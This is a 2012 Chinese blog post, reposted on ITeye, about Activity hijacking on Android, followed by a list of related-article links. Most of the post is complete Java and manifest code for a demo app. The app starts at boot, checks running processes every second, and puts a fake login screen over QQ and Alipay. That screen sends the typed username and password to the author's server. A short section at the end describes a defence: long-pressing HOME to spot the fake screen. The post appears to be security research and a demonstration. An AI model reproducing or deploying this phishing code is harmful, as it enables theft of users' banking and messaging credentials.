Activity劫持与用户防范

标签: activity 劫持 用户 | 发表时间:2012-08-07 11:46 | 作者:
出处:http://www.iteye.com
本文内容多参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623
1、Activity调试机制
在android系统中,不同的程序之间的切换基本上是无缝的,它们之间的切换只不过是Activity的切换。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。
当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity历史,它就压入栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。

2、Android设计上的缺陷——Activity劫持
如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。
<img class="alignnone size-full wp-image-621" title="Activity劫持 演示文档" src="http://msdxblog-wordpress.stor.sinaapp.com/uploads/2012/08/Activity劫持-演示文档.png" alt="" width="960" height="720" />
但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢?
在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

3、示例
下面是示例代码。
AndroidManifest.xml文件的代码。

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.sinaapp.msdxblog.android.activityhijacking"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="4" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application
        android:name=".HijackingApplication"
        android:icon="@drawable/icon"
        android:label="@string/app_name" >
        <activity
            android:name=".activity.HijackingActivity"
            android:theme="@style/transparent"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".activity.sadstories.JokeActivity" />
        <activity android:name=".activity.sadstories.QQStoryActivity" />
        <activity android:name=".activity.sadstories.AlipayStoryActivity" />

        <receiver
            android:name=".receiver.HijackingReceiver"
            android:enabled="true"
            android:exported="true" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>

        <service android:name=".service.HijackingService" >
        </service>
    </application>

</manifest>


在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。
package com.sinaapp.msdxblog.android.activityhijacking.activity;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

public class HijackingActivity extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
		Intent intent2 = new Intent(this, HijackingService.class);
		startService(intent2);
		Log.w("hijacking", "activity启动用来劫持的Service");
    }
}


如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。
/*
 * @(#)HijackingBroadcast.java		       Project:ActivityHijackingDemo
 * Date:2012-6-7
 *
 * Copyright (c) 2011 CFuture09, Institute of Software, 
 * Guangdong Ocean University, Zhanjiang, GuangDong, China.
 * All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.sinaapp.msdxblog.android.activityhijacking.receiver;

import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * @author Geek_Soledad ([email protected])
 */
public class HijackingReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
			Log.w("hijacking", "开机启动");
			Intent intent2 = new Intent(context, HijackingService.class);
			context.startService(intent2);
			Log.w("hijacking", "启动用来劫持的Service");
		}
	}
}


下面这个HijackingService类可就关键了,即用来进行Activity劫持的。
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。
代码如下:
/*
 * @(#)HijackingService.java		       Project:ActivityHijackingDemo
 * Date:2012-6-7
 *
 * Copyright (c) 2011 CFuture09, Institute of Software, 
 * Guangdong Ocean University, Zhanjiang, GuangDong, China.
 * All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.sinaapp.msdxblog.android.activityhijacking.service;

import java.util.HashMap;
import java.util.List;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;

/**
 * @author Geek_Soledad ([email protected])
 */
public class HijackingService extends Service {
	private boolean hasStart = false;
	// 这是一个悲伤的故事……
	HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();

	// Timer mTimer = new Timer();
	Handler handler = new Handler();

	Runnable mTask = new Runnable() {

		@Override
		public void run() {
			ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
			List<RunningAppProcessInfo> appProcessInfos = activityManager
					.getRunningAppProcesses();
			// 枚举进程
			Log.w("hijacking", "正在枚举进程");
			for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
				// 如果APP在前台,那么——悲伤的故事就要来了
				if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
					if (mSadStories.containsKey(appProcessInfo.processName)) {
						// 进行劫持
						hijacking(appProcessInfo.processName);
					} else {
						 Log.w("hijacking", appProcessInfo.processName);
					}
				}
			}
			handler.postDelayed(mTask, 1000);
		}

		/**
		 * 进行劫持
		 * @param processName
		 */
		private void hijacking(String processName) {
			Log.w("hijacking", "有程序要悲剧了……");
			if (((HijackingApplication) getApplication())
					.hasProgressBeHijacked(processName) == false) {
				Log.w("hijacking", "悲剧正在发生");
				Intent jackingIsComing = new Intent(getBaseContext(),
						mSadStories.get(processName));
				jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
				getApplication().startActivity(jackingIsComing);
				((HijackingApplication) getApplication())
						.addProgressHijacked(processName);
				Log.w("hijacking", "已经劫持");
			}
		}
	};

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	@Override
	public void onStart(Intent intent, int startId) {
		super.onStart(intent, startId);
		if (!hasStart) {
			mSadStories.put("com.sinaapp.msdxblog.android.lol",
					JokeActivity.class);
			mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
			mSadStories.put("com.eg.android.AlipayGphone",
					AlipayStoryActivity.class);
			handler.postDelayed(mTask, 1000);
			hasStart = true;
		}
	}

	@Override
	public boolean stopService(Intent name) {
		hasStart = false;
		Log.w("hijacking", "劫持服务停止");
		((HijackingApplication) getApplication()).clearProgressHijacked();
		return super.stopService(name);
	}
}


下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。
/*
 * @(#)QQStoryActivity.java		       Project:ActivityHijackingDemo
 * Date:2012-6-7
 *
 * Copyright (c) 2011 CFuture09, Institute of Software, 
 * Guangdong Ocean University, Zhanjiang, GuangDong, China.
 * All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Html;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;

/**
 * @author Geek_Soledad ([email protected])
 */
public class AlipayStoryActivity extends Activity {
	private EditText name;
	private EditText password;
	private Button mBtAlipay;
	private Button mBtTaobao;
	private Button mBtRegister;

	private TextView mTvFindpswd;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		this.setTheme(android.R.style.Theme_NoTitleBar);
		setContentView(R.layout.alipay);
		mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
		mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
		mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
		mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
		mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));
		mBtAlipay.setSelected(true);

		name = (EditText) findViewById(R.id.input_name);
		password = (EditText) findViewById(R.id.input_password);

	}

	public void onButtonClicked(View v) {
		switch (v.getId()) {
		case R.id.alipay_bt_login:
			HandlerThread handlerThread = new HandlerThread("send");
			handlerThread.start();
			new Handler(handlerThread.getLooper()).post(new Runnable() {
				@Override
				public void run() {
					// 发送获取到的用户密码
					SendUtil.sendInfo(name.getText().toString(), password
							.getText().toString(), "支付宝");
				}
			});
			moveTaskToBack(true);

			break;
		case R.id.alipay_bt_alipay:
			chooseToAlipay();
			break;
		case R.id.alipay_bt_taobao:
			chooseToTaobao();
			break;
		default:
			break;
		}
	}

	private void chooseToAlipay() {
		mBtAlipay.setSelected(true);
		mBtTaobao.setSelected(false);
		name.setHint(R.string.alipay_name_alipay_hint);
		mTvFindpswd.setVisibility(View.VISIBLE);
		mBtRegister.setVisibility(View.VISIBLE);
	}

	private void chooseToTaobao() {
		mBtAlipay.setSelected(false);
		mBtTaobao.setSelected(true);
		name.setHint(R.string.alipay_name_taobao_hint);
		mTvFindpswd.setVisibility(View.GONE);
		mBtRegister.setVisibility(View.GONE);
	}
}

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。

下面是我在学校时用来演示的PPT及APK。
ActivityHijackingDemo.apk<br/>
Activity劫持 演示文档.7z<br/>

4、用户防范
这里我将说下我发现的防范的方法,非常简单。这个方法是对用户而言的。android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务(前几天发现一个奇葩的手机,居然是短按一个键的,而这个键长按时是弹出MENU菜单,太奇葩了)。对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。

目前对于这种Activity劫持,没有发现有任何手机查杀软件可以主动防范。而我所知的,也只有我发现的这一方法可以判别。如果有新的消息,欢迎参加讨论。

本文内容多参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623

已有 0 人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



相关 [activity 劫持 用户] 推荐:

Activity劫持与用户防范

- - ITeye博客
本文内容多参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623. 1、Activity调试机制. 在android系统中,不同的程序之间的切换基本上是无缝的,它们之间的切换只不过是Activity的切换. Activity的概念相当于一个与用户交互的界面.

Android Activity与Service通信

- - CSDN博客移动开发推荐文章
一、当Acitivity和Service处于同一个Application和进程时,通过继承Binder类来实现.      当一个Activity绑定到一个Service上时,它负责维护Service实例的引用,允许你对正在运行的Service进行一些方法调用. 比如你后台有一个播放背景音乐的Service,这时就可以用这种方式来进行通信.

使用intent来启动activity

- - CSDN博客推荐文章
Intent最常见的用途是绑定应用程序组件,并在应用程序之间通信.Intent用来启动Activity,允许创建不同屏幕的一个工作流. 要创建并显示一个Activity,可以调用startActivity,并传递给它一个Intent,如:. 可以构造Intent来显示地指定要打开的Activity类,或者包含一个目标Activity必须执行的动作.

从网页启动Activity

- - 移动开发 - ITeye博客
正好Android SDK 给我们提供了解决方案,在网页中点击某个链接时,会匹配到Activity所配置的隐式Intent(配置在Manifest文件中). 第一步:在Manifest文件中给TestActivity配置一个隐式Intent. 第二步:这时,当在网页中点击链接Start TestActivity就会启动TestActivity了.

Activity生命周期详解

- - 编程语言 - ITeye博客
本文概述:针对一个例子详细阐述Activity的生命周期. Android是使用任务(Task)来管理活动的,一个任务就是一组存放在栈里的Activity的集合,这个栈也叫返回栈(Back Stack). 每次我们启动一个新的Activity,这个Activity就会入栈,并处于栈顶位置. 按下返回键或者finish()方法销毁一个Activity时,处于栈顶的Activity就会出栈,另一个Activity就会处于栈顶位置,显示给用户的就会是这个Activity..

activity、 intent 、intent filter、service、Broadcast、BroadcaseReceiver解释

- - CSDN博客推荐文章
Android中,Activity是所有程序的根本,所有程序的流程都运行在Activity之中,Activity具有自己的生命周期(由系统控制生命周期,程序无法改变,但可以用onSaveInstanceState保存其状态). 对于Activity,关键是其生命周期的把握(如那张经典的生命周期图=.=),其次就是状态的保存和恢复(onSaveInstanceState onRestoreInstanceState),以及Activity之间的跳转和数据传输(intent).

在Activity之间传递数据

- - ITeye博客
在一个Activity中启动另一个Activy,取得数据,如:在应用 A 中启动 通讯录,选择目标用户,返回,以便在A 中使用选择的通讯录数据,基本过程如下:.         /* 开启Pictures画面Type设定为image */.         intent.setType("image/*");  //通讯录的不能这样写,.

Android 实现Activity后台运行

- - CSDN博客移动开发推荐文章
此方法其实不是主要是屏蔽Keycode_Back,让它不结束(finish())Activity,直接显示HOME界面.                                 ResolveInfo homeInfo = pm.resolveActivity(new Intent(Intent.ACTION_MAIN).

Android 之 Activity的加载模式

- - 移动开发 - ITeye博客
         加载模式决定以哪种方式启动一个跳转到原来某个Activity实例;.         在Android 开发中,activity 之间的跳转可能需要有多种方式,有时是普通的生成一个新实例,有时希望跳转到原来某个activity实例,而不是生成大量的重复的activity;. 3)  加载模式的种类:.

Android 之 Activity和Intent用法介绍

- - 移动开发 - ITeye博客
                            Activity 生命周期. 1、 Activity介绍.         Activity 是Android应用程序和用户交互的窗口;.     2)  运行时的Activity特点:.         i.  可见的;. 2、 Activity的生命周期.